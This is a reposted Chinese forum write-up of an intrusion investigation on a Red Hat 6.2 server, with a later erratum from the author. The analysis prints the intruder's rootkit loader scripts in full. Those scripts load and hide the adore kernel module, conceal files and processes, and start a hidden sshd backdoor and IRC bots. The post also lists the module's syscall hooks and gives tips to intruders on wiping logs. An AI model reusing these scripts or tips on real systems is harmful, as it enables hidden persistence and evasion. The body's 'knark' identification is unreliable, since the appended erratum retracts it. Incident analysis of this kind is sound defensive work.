ftp服务 - 一次入侵检查

一次入侵检查
2004-04-23 15:18 pm
来自：Linux文档
现载：Www.8s8s.coM
地址：无名

一. 发现

前两天装了一个Redhat 6.2，因为懒，系统开了ftp和telnet服务之后就没再管过，平时扔在那里做个ftp中转站。
前日，朋友告诉我机器的ftp不能匿名登录了，很是纳闷，登上去nmap一下，发现不对了：

[liz]￥ nmap 127.0.0.1
Port State Service
21/tcp open ftp
23/tcp open telnet
111/tcp open sunrpc
113/tcp open auth

看看网络情况：

[liz]￥ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 138 a:23 b:1122 ESTABLISHED

hoho，竟然没有，难道netstat被替换掉了？
看看RPM校验：

[liz]￥ rpm -qf /bin/netstat
net-tools-1.54-4
[liz]￥ rpm -V net-tools

什么都没有，似乎...netstat没有问题，难道加载了llkm？

[liz]￥ lsmod
Module Size Used by

空的（系统本身没有加载lkm），module隐藏了？

是不是杞人忧天啊？看看系统有什么改变没有？

[liz]￥ cat /var/log/message
Aug 9 00:05:54 FTP_test PAM_pwdb[889]: (login) session opened for user liz by (uid=0)
Aug 9 00:07:34 FTP_test PAM_pwdb[889]: (login) session closed for user liz
Aug 9 00:07:34 FTP_test inetd[483]: pid 888: exit status 1
Aug 9 00:39:51 FTP_test inetd[483]: pid 919: exit status 1
Aug 9 04:02:00 FTP_test anacron[979]: Updated timestamp for job `cron.daily'to 2001-08-09
Aug 9 06:28:48 FTP_test inetd[483]: extra conf for service 19/tcp (skipped)
Aug 11 11:50:32 FTP_test PAM_pwdb[608]: (login) session opened for user liz by (uid=0)

嘻嘻，发现问题了：怎么大半夜里我的帐号还在用？还有，9号到11号之间竟然没有任何记录？虽然我的机器利用率不高，可crond总还是在跑的吧，连这个都没有，显然显然...
再看看wtmp记录：

[liz]￥ strings /var/log/wtmp
...
ftpd748
pts/0
ftpd786
@ftp
pd950c097.dip.t-dialin.net
ftpd786
pts/0
...
ftpd14698
@ftp
pd950ef94.dip.t-dialin.net
ftpd14698
pts/0
....
ftpd15200
@ftp
211.178.18.15
ftpd15200

挺热闹的嘛，当然了，不足为证。
忘了忘了，最重要的：

[liz]￥ w
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
liz pts/0 b 10:58am 0.00s 0.11s ? -

只有我一个，也就这个log正常了。

现在可以肯定，系统有人进来了。

比较麻烦，静下心来想一想......

一个cracker，找到一个redhat 6.2的漏洞，比如说wu-ftp2.6 漏洞，很顺利的（5555...没面子）拿到root权限，上载一些东东，加载llkm，隐藏相应的进程、目录和llkm，然后留一个后门（姑且是111或/和113端口的了），擦脚印，撤。

恩，典型的攻击方式，很符合系统的记录，可是留下
痕迹1：wtmp里pd950ef94.dip.t-dialin.net两次来我的机子，而且时间相差甚远（看ftpd号），又是拨号用户，也许不是他，可是我现在抓不到人，错抓一个也比一个没有强，算他倒霉了，*_^。
痕迹2：message里擦脚印也不高明点，一股脑删，唉。
痕迹3：好端端的给我机器开几个服务，也不找个高明点的后门，不是明摆着让我去查嘛。
痕迹4，5，6...：待查，呵呵

好了，既然他加载了llkm，rc里势必要留下点什么，要不然机器一重起，llkm没了就完了。

可是rc里那么多，我一个一个查，还不累死啊？
偷个懒，md5一下。

[liz]￥ md5sum

慢着.......，现在系统不能相信了，md5sum也不例外，找个干净的cp过来md5。

[liz]￥ ftp...
....
[liz]￥ /usr/bin/md5sum /etc/inittab > /tmp/md5.txt
[liz]￥ cd /etc/rc.d
[liz]￥ /usr/bin/md5sum `find `pwd` -type f` >> /tmp/md5.txt

再找个干净的机器造个相同的文件md5.txt1
diff一下：

[liz]￥ diff /tmp/md5.txt /tmp/md5.txt1 > result.txt

经过详细和漫长（么？）的比较，并去除链接和以K开头的文件，终于发现两个不一样：
/etc/rc.d/rc.loacl
/etc/rc.d/init.d/syslog

懒得自己去看，还是diff吧，取干净的rc.local和syslog过来
diff的结果：

干净的rc.local忘记注释issue那部分了，无妨无妨

syslog：
< /bin/rkup &

^_^，检测工作结束，拔掉网线，睡觉。

二. 分析

找到cracker加载的位置，以下就好办了：
[liz]￥ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
...

# Loads and hides knark
...

# Hides files
...

/bin/kload &>/dev/null

呵呵，原来是knark啊，顺势看看kload，找到如下文件：

/bin/rkup
/bin/kload

/usr/lib/.rain目录下：

.:
bot home lkm ssh

./bot:
c0r3 emech

./bot/c0r3:
c0r3

ls: ./bot/emech: Permission denied
./home:

./lkm:
adore.o ava modhide.o src

./lkm/src:
adore.c ava.c config libinvisible.c libinvisible.h modhide.c

./ssh:
ssh_host_key ssh_random_seed sshd.pid sshd_config sshdchk sshdx

经过仔细的（又来了...）分析，终于弄明白大部分是作什么用的：

入侵的cracker似乎叫r41n，这些东东都是他自己写的rootkit kkit里的，从这几个地方可以看到：
（当然或许是个全盘照抄的cracker也不一定）
[liz]￥ cat /bin/rkup
#!/bin/sh
# Kkit by r41n (c) 2000
...

[liz]￥ cat /usr/lib/.rain/home/.bashrc
...
echo " Welcome r41n! Enjoy Kkit by r41n!"
echo -n " 0wn3d: Thu Aug 9 06:42:38 HKT 2001 "
...

而且可以看到，这个cracker还把系统攻破的时间记下来，跟前边分析的几个log出现问题的时间一致。

从分析的结果看，r41n的这个kkit用的还是knark的思想，又针对一些具体情况做了改动。cracker用的主目录/usr/lib/.rain还是knark风格的，实在没创意。

以下是各个文件作用的分析：
/bin/rkup：
---------start------------
#!/bin/sh
# Kkit by r41n (c) 2000
RKPATH=/usr/lib/.rain
PATH=...

# Loads and hides knark
if [ "￥1" != "kit" ]; then
depmod -a &>/dev/null
insmod ￥RKPATH/lkm/adore.o &>/dev/null
T=`lsmod │ grep "adore"`
if [ ! "￥T" ]; then
# echo "cant load .. recompile" >/test
cd ￥RKPATH/lkm/src
./config
./compile
if [ -e adore.o ]; then
cp -f adore.o .. &>/dev/null
cp -f modhide.o .. &>/dev/null
cp -f ava .. &>/dev/null
rm -f *o &>/dev/null
rm -f ava &>/dev/null
rm -f compile &>/dev/null
# echo "ok recompiled... loading!" >>/test
else
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant recompile! OUT!" >>/test
exit
fi
insmod ￥RKPATH/lkm/adore.o &>/dev/null
T=`lsmod │ grep "adore"`
if [ ! "￥T" ]; then
rm -rf /usr/lib/.rain &>/dev/null
rm -rf /bin/rkup &>/dev/null
rm -rf /bin/kload &>/dev/null
echo "#!/bin/sh" >/bin/rkup
echo "# r41n was here..." >>/bin/rkup
chmod +x /bin/rkup
# echo "cant load after recompile! OUT!" >>/test
exit
fi
fi
# echo "LOADED OK!!!" >>/test
insmod ￥RKPATH/lkm/modhide.o &>/dev/null
fi

# Hides files
ava h ￥RKPATH &>/dev/null
ava h ￥RKPATH/lkm &>/dev/null
ava h ￥RKPATH/ssh &>/dev/null
ava h ￥RKPATH/home &>/dev/null
ava h ￥RKPATH/bot &>/dev/null
ava h /bin/rkup &>/dev/null
ava h /bin/kload &>/dev/null

/bin/kload &>/dev/null
------------end---------------

系统启动时自动载入的文件，1.编译并载入adore.o，即knark，并作简单的判断，如果不能正常载入，则删除所有相关文件，撤退（这点还是蛮好的）2.隐藏module adore，3.隐藏相关目录和文件（其实￥RKPATH在adore载入以后已经自动隐藏了），3.启动/bin/kload

其中，adore是主要module，它替换系统调用，用以隐藏相关的进程、文件、非授权提升用户权限，这是它的几个函数

：
int is_invisible(pid_t pid) //查看process是否已经真的隐藏
int is_secret(struct super_block *sb, struct dirent *d) //查看文件是否已经真的隐藏
int hide_process(pid_t pid)
int remove_process(pid_t pid) //从task-struct中移除相关process
int unhide_process(pid_t pid)
int strip_invisible() //使process不被get_pid_list()发现（从proc里移除process么？我也没弄明白，对这个不熟）
int unstrip_invisible()
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) //隐藏文件
int n_fork(struct pt_regs regs) //完成递归隐藏文件
int n_clone(struct pt_regs regs)
int n_kill(pid_t pid, int sig) //接收signal，和外部的接口
int n_write(unsigned int fd, char *buf, size_t count) //对netstat隐藏相关服务
int n_setuid(uid_t uid) //提升用户权限

ava是adore的外部接口：
...
printf("Usage: %s {h,u,r,R,i,v,U} [file, PID or dummy (for U)] "
" h hide file "
" u unhide file "
" r execute as root "
" R remove PID forever "
" U uninstall adore "
" i make PID invisible "
" v make PID visible ", argv[0]);
...

很明显，不用解释了。

modhide完成隐藏adore的工作。

下边是/bin/kload:
--------------start-------------------
#!/bin/sh
# Kkit by r41n (c) 2000
PATH=...
RKPATH=/usr/lib/.rain

# c0r3 load
￥RKPATH/bot/c0r3/c0r3

# sshd start
cd ￥RKPATH/ssh
./sshdx -q &>/dev/null

# psybnc start
#cd ￥RKPATH/proxy/psybnc
#./psybncx &>/dev/null

# emech start
cd ￥RKPATH/bot/emech
./mechx &>/dev/null
#killall -31 mechx &>/dev/null

cd /

# hide`em
#killall -31 sshdx &>/dev/null
#killall -31 c0r3 &>/dev/null
----------end---------------------

从中可见，cracker起了一个sshd后门（就是这个dameon把前边所说的113端口占用了），并起了一个irc的客户端mechx（干什么？不懂），然后隐藏相应的进程。这些苦于没有源码，只能靠猜测了。

三. 清理（略）
四. 总结
一次典型的llkm攻击。
1. 给我等被害人的：
(1) 系统一定要及时打补丁，这次遇上的是一个用llkm的cracker，如果运气不好，遇上一个替换系统函数库的（这个俺也不懂，谁有问题问lg_wu去，*_^），那就惨死了。
(2) 装完系统最好先对关键文件做个备份并做md5sum，以后怀疑出问题时拿这些对照，可以很容易找到入侵点。例如写这么一个简单的shell脚本，完了把那些文件放到安全的地方：

----------start-----------------
#!/bin/bash
echo "###########################################################"
echo "## This is only an idea，you can do whatever you want! ##"
echo "## by liz ##"
echo "## 08/18/2001 ##"
echo "###########################################################"

FILE=/tmp/back/md5.txt

cd /tmp
rm -rf back
mkdir back

cd back

find / -type f ( -perm -04000 -o -perm -02000 ) -print >& syssuid1
cat syssuid1 │ grep -v "find:" > syssuid

cp /etc/inetd.conf .
cp /etc/services .
cp /bin/login .
cp /etc/passwd .
cp /etc/shadow .

strings /bin/login > strlogin

#md5 myself
/usr/bin/md5sum /usr/bin/md5sum > ￥FILE
/usr/bin/md5sum /usr/bin/find >> ￥FILE
/usr/bin/md5sum /usr/bin/pwd >> ￥FILE

#md5 files when sys init need
/usr/bin/md5sum /etc/lilo.conf >> ￥FILE
/usr/bin/md5sum /etc/inittab >> ￥FILE
cd /etc/rc.d
/usr/bin/md5sum `find `pwd` -type f` >> ￥FILE
cd -

#md5 files which seem important
/usr/bin/md5sum /bin/login >> ￥FILE
/usr/bin/md5sum /bin/ps >> ￥FILE
/usr/bin/md5sum /bin/netstat >> ￥FILE
/usr/bin/md5sum /bin/ls >> ￥FILE
/usr/bin/md5sum /bin/su >> ￥FILE

#md5 some conf files
/usr/bin/md5sum /etc/resolv.conf >> ￥FILE
/usr/bin/md5sum /etc/passwd >> ￥FILE
/usr/bin/md5sum /etc/services >> ￥FILE

#/usr/bin/md5sum /etc/inetd.conf >> ￥FILE

cd ..
tar zcvf back.tar.gz back/
rm -rf back
----------end-------------------

将来直接做对照就可以啦（愿意的话你再写个对照的脚本）。

2.给cracker的：
(1) 不要随便改对方机器的配置，会很容易被抓到！
(2) log一定要清理干净，不要相信那些所谓的工具，还是把工具源码找来自己改合适最好

3.疑问
(1) 在分析cracker程序的过程中发现一个问题：
adore.c中：
只看到了系统调用的定义（仅仅是定义而已，没有内容）：

int (*o_getdents)(unsigned int, struct dirent *, unsigned int);
int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_setuid)(uid_t);
int (*o_symlink)(const char *, const char*);

和使用：

REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(setuid);

它们具体是怎么实现的，程序里却没有，adore.c也没有自定义的include，难道说...系统函数库已经被替换掉了？
(2)cracker为什么要起一个irc？这个好像在很多情况下都存在，是cracker的惯例，还是一种隐秘的通信方式？
(3)kload里起的那几个程序
￥RKPATH/bot/c0r3/c0r3
./sshdx -q
./mechx
之间的关系还没有弄明白，似乎不是sshdx是sshd后台进程、mechx是irc客户端那么简单。

关于《一次入侵检查》
原创：liz0（liz）

由于时间仓促，再加上水平有限，文中出现了几个大的纰漏，因为只是贴在论坛上，也没再管，忽然发现这篇报告被转载了，顿觉有些问题如不纠正，实在是贻害朋友们，所以写了封信给转载的inburst<[email protected]>，主要是以下内容，不知什么原因没有回复，所以赶快post来，希望xfocus的朋友们能把这篇补在原文后边，不至于误导读者和被大虾们骂，:)

一个是对所发现的rootkit的猜测。我看到源码中有几个knark字样，便想当然的想它是knark，后来经朋友提醒知道这个并不是knark，而是adore，后经我对照源码，果然是adore，我的猜想是错误的。
adore主页见：http://www.team-teso.net/

另一个问题是我在文章最后的疑问，关于几个系统调用实现的问题，则纯属我一时昏了头，没有分析好源码所致：
程序中定义了一个宏REPLACE:
#define REPLACE(x) o_##x = sys_call_table[SYS_##x];
sys_call_table[SYS_##x] = n_##x
它显然是把o_##x（原系统调用）替换为n_##x，即我在原文中上边分析的几个函数，可惜我只看了函数实现，没有注意这个宏，实在是个低级的错误。

关于程序源码，由于惯例我没有贴出来，不过源码实际上可以去adore网站down，免得看文章时一头雾水。

还有几个我的命令写法，有几个地方太过麻烦，有些已经有网友纠正，有些是我后来发现：
/usr/bin/md5sum `find `pwd` -type f` >> ￥FILE
可以写成：
find ./ -type f -exec /usr/bin/md5sum {} >> ￥FILE ;
似乎更容易理解一些。

find / -type f ( -perm -04000 -o -perm -02000 ) -print >& syssuid1
cat syssuid1 │ grep -v "find:" > syssuid
可以写成
find / -type f ( -perm -04000 -o -perm -02000 ) -print 1>syssuid 3>/dev/null

另有strings wtmp我是习惯了用strings，不必老用这个东西的，last就可以了（实在是常识的东西，又是该死）

还有一个我在文章中怀疑入侵者是那个拨号用户，后来经我跟踪发现，似乎也不太象，我后来跟踪的结果入侵者一直来自于台湾，而那个拨号用户似乎不是台湾的（没有太详细IP地址分配数据库，没法作结论），当然那人是不是台湾的，也不能肯定（后来没什么时间，就没再跟踪下去了）